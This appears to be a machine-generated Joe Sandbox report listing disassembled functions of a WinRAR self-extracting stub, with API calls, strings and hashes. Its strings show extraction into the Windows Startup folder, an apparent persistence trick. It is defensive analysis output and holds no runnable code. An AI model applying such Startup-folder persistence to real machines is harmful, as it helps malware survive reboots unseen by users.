Part of subcall function 00E1B65D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00E1B665

Part of subcall function 00E1BD1B: OleInitialize.OLE32(00000000), ref: 00E1BD34
Part of subcall function 00E1BD1B: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00E1BD6B
Part of subcall function 00E1BD1B: SHGetMalloc.SHELL32(00E4A460), ref: 00E1BD75

GetCommandLineW.KERNEL32 ref: 00E1F09B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00E1F0C5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 00E1F0D6
UnmapViewOfFile.KERNEL32(00000000), ref: 00E1F127

Part of subcall function 00E1ED2E: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00E1ED44
Part of subcall function 00E1ED2E: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00E1ED80

Part of subcall function 00E10752: _wcslen.LIBCMT ref: 00E10776

CloseHandle.KERNEL32(00000000), ref: 00E1F12E
GetModuleFileNameW.KERNEL32(00000000,00E60CC0,00000800), ref: 00E1F148
SetEnvironmentVariableW.KERNEL32(sfxname,00E60CC0), ref: 00E1F154
GetLocalTime.KERNEL32(?), ref: 00E1F15F
_swprintf.LIBCMT ref: 00E1F19E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00E1F1B3
GetModuleHandleW.KERNEL32(00000000), ref: 00E1F1BA
LoadIconW.USER32(00000000,00000064), ref: 00E1F1D1
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C9D0,00000000), ref: 00E1F222
Sleep.KERNEL32(?), ref: 00E1F250
DeleteObject.GDI32 ref: 00E1F289
DeleteObject.GDI32(?), ref: 00E1F299
CloseHandle.KERNEL32 ref: 00E1F2DC

Strings

p0, xrefs: 00E1F1E2
winrarsfxmappingfile.tmp, xrefs: 00E1F0B9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00E1F18F
sfxname, xrefs: 00E1F14F
STARTDLG, xrefs: 00E1F217
sfxstime, xrefs: 00E1F1AE

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$p0$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-2107775473
Opcode ID: 9c72cc07c9c1ea9631c06472e1ee703129f459086f7abfbc7b8cc92813c52fc1
Instruction ID: a8e49e8b213bc74a7fa8fbd161518d242f9b10ed8251aecc05a33dc75636d4e9
Opcode Fuzzy Hash: 9c72cc07c9c1ea9631c06472e1ee703129f459086f7abfbc7b8cc92813c52fc1
Instruction Fuzzy Hash: A961F9B1605304AFC325AB72FC49EAB7BECAB45344F041429F545B21A2DBB49DC8CBA1

Function 00E1B6D2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00E1C92D,00000066), ref: 00E1B6E5
SizeofResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B6FC
LoadResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B713
LockResource.KERNEL32(00000000,?,?,?,00E1C92D,00000066), ref: 00E1B722
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00E1C92D,00000066), ref: 00E1B73D
GlobalLock.KERNEL32(00000000), ref: 00E1B74E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00E1B772
GlobalUnlock.KERNEL32(00000000), ref: 00E1B7D6

Part of subcall function 00E1B636: GdipAlloc.GDIPLUS(00000010), ref: 00E1B63C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00E1B7B7
GlobalFree.KERNEL32(00000000), ref: 00E1B7DD

Strings

PNG, xrefs: 00E1B6D6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 4fa54ad713c07d1423de6e743b21cf54c31c4baf69cd8bf4d990250a255887e6
Instruction ID: ce2bfb2e9cb9b49169da2d756d710e363138dbffed36e6d2595501c52903b117
Opcode Fuzzy Hash: 4fa54ad713c07d1423de6e743b21cf54c31c4baf69cd8bf4d990250a255887e6
Instruction Fuzzy Hash: FC319375201706AFD7109F22EC8CD6B7FACEF85755B011619F905F22A0EB31EC89CAA0

Function 00E0BA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BABD

Part of subcall function 00E0CF32: _wcslen.LIBCMT ref: 00E0CF56

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BAEB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BAF7
FindNextFileW.KERNEL32(?,?,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BB21
GetLastError.KERNEL32(?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BB2D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 453f71f09998de0e84cb065c5529e48dd8eeaf4094cff450cd922b564a17c2df
Instruction ID: 25814af289a9fa087385d6a435de9a012de558d6f5f5563a2cb37e2aa6f72bac
Opcode Fuzzy Hash: 453f71f09998de0e84cb065c5529e48dd8eeaf4094cff450cd922b564a17c2df
Instruction Fuzzy Hash: A7416172A00519ABCB25DF64CC88AE9B7B8FB48350F101696E56DF3280D7346ED4DF90

Function 00E092C6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E092CB

Part of subcall function 00E0D656: _wcsrchr.LIBVCRUNTIME ref: 00E0D660

Part of subcall function 00E0CAA0: _wcslen.LIBCMT ref: 00E0CAA6

Part of subcall function 00E11907: _wcslen.LIBCMT ref: 00E1190D

Part of subcall function 00E0B5D6: _wcslen.LIBCMT ref: 00E0B5E2
Part of subcall function 00E0B5D6: __aulldiv.LIBCMT ref: 00E0B60E
Part of subcall function 00E0B5D6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00E0B615
Part of subcall function 00E0B5D6: _swprintf.LIBCMT ref: 00E0B640
Part of subcall function 00E0B5D6: _wcslen.LIBCMT ref: 00E0B64A
Part of subcall function 00E0B5D6: _swprintf.LIBCMT ref: 00E0B6A0
Part of subcall function 00E0B5D6: _wcslen.LIBCMT ref: 00E0B6AA

Part of subcall function 00E04727: __EH_prolog.LIBCMT ref: 00E0472C

Part of subcall function 00E0A212: __EH_prolog.LIBCMT ref: 00E0A217

Part of subcall function 00E0B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B8FA
Part of subcall function 00E0B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B92B

Strings

__tmp_reference_source_, xrefs: 00E09596

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: fef7e1cbcf671d1e15f69fc625c753444dcb293993ba148ac076f1f87233511c
Instruction ID: 321093ad284af50037f105c084f00a1ad312e218adfb724ead4d340b471183c2
Opcode Fuzzy Hash: fef7e1cbcf671d1e15f69fc625c753444dcb293993ba148ac076f1f87233511c
Instruction Fuzzy Hash: 8CA2F571A04245AEDF19DF64C885BEABBB4BF05304F0861B9E949BB2C3D73059C4CBA1

Function 00E291B0 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00E29186,00000000,00E3D570,0000000C,00E292DD,00000000,00000002,00000000), ref: 00E291D1
TerminateProcess.KERNEL32(00000000,?,00E29186,00000000,00E3D570,0000000C,00E292DD,00000000,00000002,00000000), ref: 00E291D8
ExitProcess.KERNEL32 ref: 00E291EA

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 78872003e0e484777646b12e608c6b2d05b8510958f2e5e7fb3734696f299f45
Instruction ID: 9c85ade1c9ce6a9a74300b20784fdefe827712824640b39336e152a5aa9116d5
Opcode Fuzzy Hash: 78872003e0e484777646b12e608c6b2d05b8510958f2e5e7fb3734696f299f45
Instruction Fuzzy Hash: B2E0463200151CEFCF156F62ED0CA483F6AEB40342F012054F908AB172CB35ED96CA90

Function 00E1C9D0 Relevance: 102.2, APIs: 47, Strings: 11, Instructions: 734windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E1C9D5

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E1CAC1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1CADF
IsDialogMessageW.USER32(?,?), ref: 00E1CAF2
TranslateMessage.USER32(?), ref: 00E1CB00
DispatchMessageW.USER32(?), ref: 00E1CB0A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00E1CB2D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00E1CB50
GetDlgItem.USER32(?,00000068), ref: 00E1CB73
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00E1CB8E
SendMessageW.USER32(00000000,000000C2,00000000,00E345F4), ref: 00E1CBA1

Part of subcall function 00E1E598: _wcslen.LIBCMT ref: 00E1E5C2

SetFocus.USER32(00000000), ref: 00E1CBA8
_swprintf.LIBCMT ref: 00E1CC07

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00E1CC6A
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00E1CC92
GetTickCount.KERNEL32 ref: 00E1CCB0
_swprintf.LIBCMT ref: 00E1CCC8
GetLastError.KERNEL32(?,00000011), ref: 00E1CCFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00E1CD4D
_swprintf.LIBCMT ref: 00E1CD84
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 00E1CDD8
GetCommandLineW.KERNEL32 ref: 00E1CDEE
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00E51482,00000400,00000001,00000001), ref: 00E1CE45
Sleep.KERNEL32(00000064), ref: 00E1CEB5
UnmapViewOfFile.KERNEL32(?,?,0000421C,00E51482,00000400), ref: 00E1CEDE
CloseHandle.KERNEL32(00000000), ref: 00E1CEE7
_swprintf.LIBCMT ref: 00E1CF1A
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E1CF79
SetDlgItemTextW.USER32(?,00000065,00E345F4), ref: 00E1CF90
GetDlgItem.USER32(?,00000065), ref: 00E1CF99
GetWindowLongW.USER32(00000000,000000F0), ref: 00E1CFA8
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00E1CFB7
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E1D064
_wcslen.LIBCMT ref: 00E1D0BA
_swprintf.LIBCMT ref: 00E1D0E4
SendMessageW.USER32(?,00000080,00000001,?), ref: 00E1D12E
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00E1D148
GetDlgItem.USER32(?,00000068), ref: 00E1D151
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00E1D167
GetDlgItem.USER32(?,00000066), ref: 00E1D181
SetWindowTextW.USER32(00000000,C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup), ref: 00E1D1A3
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00E1D203
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E1D216
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C7B0,00000000,?), ref: 00E1D2B9
EnableWindow.USER32(00000000,00000000), ref: 00E1D393
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00E1D3D5

Part of subcall function 00E1D884: __EH_prolog.LIBCMT ref: 00E1D889

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E1D3F9

Strings

%s, xrefs: 00E1D0D4
lb, xrefs: 00E1CDC4
-el -s2 "-d%s" "-sp%s", xrefs: 00E1CD73
<, xrefs: 00E1CD8C
winrarsfxmappingfile.tmp, xrefs: 00E1CDAE
@, xrefs: 00E1CD99
__tmp_rar_sfx_access_check_%u, xrefs: 00E1CCB7
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00E1D187, 00E1D194, 00E1D1A1
LICENSEDLG, xrefs: 00E1D2AE
STARTDLG, xrefs: 00E1C9F1
"%s"%s, xrefs: 00E1CF09

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Item$MessageText$Send$Window_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableFocusHandleLineMappingModuleNameParamSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$lb$winrarsfxmappingfile.tmp
API String ID: 1004948406-1376841724
Opcode ID: cea3575c7a2bd4752707c75458e409e6c579ead0b3545dcc19cc7b34230b02b3
Instruction ID: 011a372d657160d79513ee4f2280de461816714d9a4015038464471ebae0690a
Opcode Fuzzy Hash: cea3575c7a2bd4752707c75458e409e6c579ead0b3545dcc19cc7b34230b02b3
Instruction Fuzzy Hash: 3242E471A84304BEEB219BB5AC4AFFE7BBCAB01744F142055F550B60D2CBB449C9CB62

Function 00E11B83 Relevance: 100.1, APIs: 23, Strings: 34, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00E11B9C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00E11BAE
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00E11BDF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E11E89
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E11EA3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E11EB3
ReadFile.KERNEL32(00000000,?,00007FFE,$M,00000000), ref: 00E11ED1
CloseHandle.KERNEL32(00000000), ref: 00E11F29
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E11F3E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,$M,?,00000000,?,00000800), ref: 00E11F92
GetFileAttributesW.KERNELBASE(?,?,$M,00000800,?,00000000,?,00000800), ref: 00E11FBC
GetFileAttributesW.KERNEL32(?,?,M,00000800), ref: 00E11FF8

Part of subcall function 00E11B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E11B56
Part of subcall function 00E11B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00E1063A,Crypt32.dll,00000000,00E106B4,00000200,?,00E10697,00000000,00000000,?), ref: 00E11B78

_swprintf.LIBCMT ref: 00E1206A
_swprintf.LIBCMT ref: 00E120B6

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

AllocConsole.KERNEL32 ref: 00E120BE
GetCurrentProcessId.KERNEL32 ref: 00E120C8
AttachConsole.KERNEL32(00000000), ref: 00E120CF
_wcslen.LIBCMT ref: 00E120E4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00E120F5
WriteConsoleW.KERNEL32(00000000), ref: 00E120FC
Sleep.KERNEL32(00002710), ref: 00E12107
FreeConsole.KERNEL32 ref: 00E1210D
ExitProcess.KERNEL32 ref: 00E12115

Strings

`P, xrefs: 00E11D3F
<M, xrefs: 00E11C1C
,O, xrefs: 00E11CC7
$M, xrefs: 00E11EBE, 00E11EC2
\O, xrefs: 00E11CD7
pM, xrefs: 00E11C2F
SetDefaultDllDirectories, xrefs: 00E11BD9
\R, xrefs: 00E11E26
N, xrefs: 00E11CAF
DO, xrefs: 00E11CCF
dQ, xrefs: 00E11DB8
uxtheme.dll, xrefs: 00E12037
dwmapi.dll, xrefs: 00E11C47, 00E1202D
pN, xrefs: 00E11C87
<P, xrefs: 00E11D34
(N, xrefs: 00E11C6F
xP, xrefs: 00E11D4A
(R, xrefs: 00E11E10
tO, xrefs: 00E11CDF
DXGIDebug.dll, xrefs: 00E11F7E
$Q, xrefs: 00E11D97
4Q, xrefs: 00E11DA2
SetDllDirectoryW, xrefs: 00E11BA8
LQ, xrefs: 00E11DAD
xR, xrefs: 00E11E31
XM, xrefs: 00E11C24
M, xrefs: 00E11FD9, 00E11FE9
XN, xrefs: 00E11C7F
kernel32, xrefs: 00E11B93
xQ, xrefs: 00E11DC3
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00E120A4
$P, xrefs: 00E11D29
DR, xrefs: 00E11E1B
@N, xrefs: 00E11C77

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: $M$$P$$Q$(N$(R$,O$4Q$<M$<P$@N$DO$DR$DXGIDebug.dll$LQ$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$XM$XN$\O$\R$`P$dQ$dwmapi.dll$kernel32$pM$pN$tO$uxtheme.dll$xP$xQ$xR$M$N
API String ID: 1207345701-4112484502
Opcode ID: 8470bf8f070bae150793717c0255b535de229e6ad1b094bd23f16094e5248017
Instruction ID: a6a2fcfb4d0c05e2fa8ee420d1f0ba1c0ced5c55dcbb317dfb5453c6d9ed7789
Opcode Fuzzy Hash: 8470bf8f070bae150793717c0255b535de229e6ad1b094bd23f16094e5248017
Instruction Fuzzy Hash: A1D15FF21087849FD7209F51984EADFBEE8AFC5304F50291DF689B6290DBB19548CF52

Function 00E1D884 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00E1D889

Part of subcall function 00E1C504: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00E1C5EB

_wcslen.LIBCMT ref: 00E1DB4F
_wcslen.LIBCMT ref: 00E1DB58
SetWindowTextW.USER32(?,?), ref: 00E1DBB6
_wcslen.LIBCMT ref: 00E1DBF8
_wcsrchr.LIBVCRUNTIME ref: 00E1DD40
GetDlgItem.USER32(?,00000066), ref: 00E1DD7B
SetWindowTextW.USER32(00000000,?), ref: 00E1DD8B
SendMessageW.USER32(00000000,00000143,00000000,C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup), ref: 00E1DD99
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E1DDC4

Strings

ProgramFilesDir, xrefs: 00E1DC8A
<br>, xrefs: 00E1DB19
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00E1DBC9, 00E1DD5D, 00E1DD63, 00E1DD91, 00E1DDA6
Software\Microsoft\Windows\CurrentVersion, xrefs: 00E1DC5F
%s.%d.tmp, xrefs: 00E1DA85

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-647225159
Opcode ID: 95fbed05907fde8a4818a1829086e8621bea47af3d55db75ea2bddd7c99442ed
Instruction ID: ddd18ac594cff06edd51628424fed891a34da52a30e93a5c44395770c0ac10b2
Opcode Fuzzy Hash: 95fbed05907fde8a4818a1829086e8621bea47af3d55db75ea2bddd7c99442ed
Instruction Fuzzy Hash: FAE163B2904128AADB24DBA0DD85EEE77BDEB44354F5450A6FA05F3180EF749EC4CB60

Function 00E0ED87 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E0ED90
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E0EDCC

Part of subcall function 00E0D6A7: _wcslen.LIBCMT ref: 00E0D6AF

Part of subcall function 00E11907: _wcslen.LIBCMT ref: 00E1190D

Part of subcall function 00E12ED2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00E0CF18,00000000,?,?), ref: 00E12EEE

_wcslen.LIBCMT ref: 00E0F109
__fprintf_l.LIBCMT ref: 00E0F23C

Strings

$%s:, xrefs: 00E0F21F
a, xrefs: 00E0EF36
RTL, xrefs: 00E0F1FE
,, xrefs: 00E0F277
, xrefs: 00E0F08C
*messages***, xrefs: 00E0EF1A
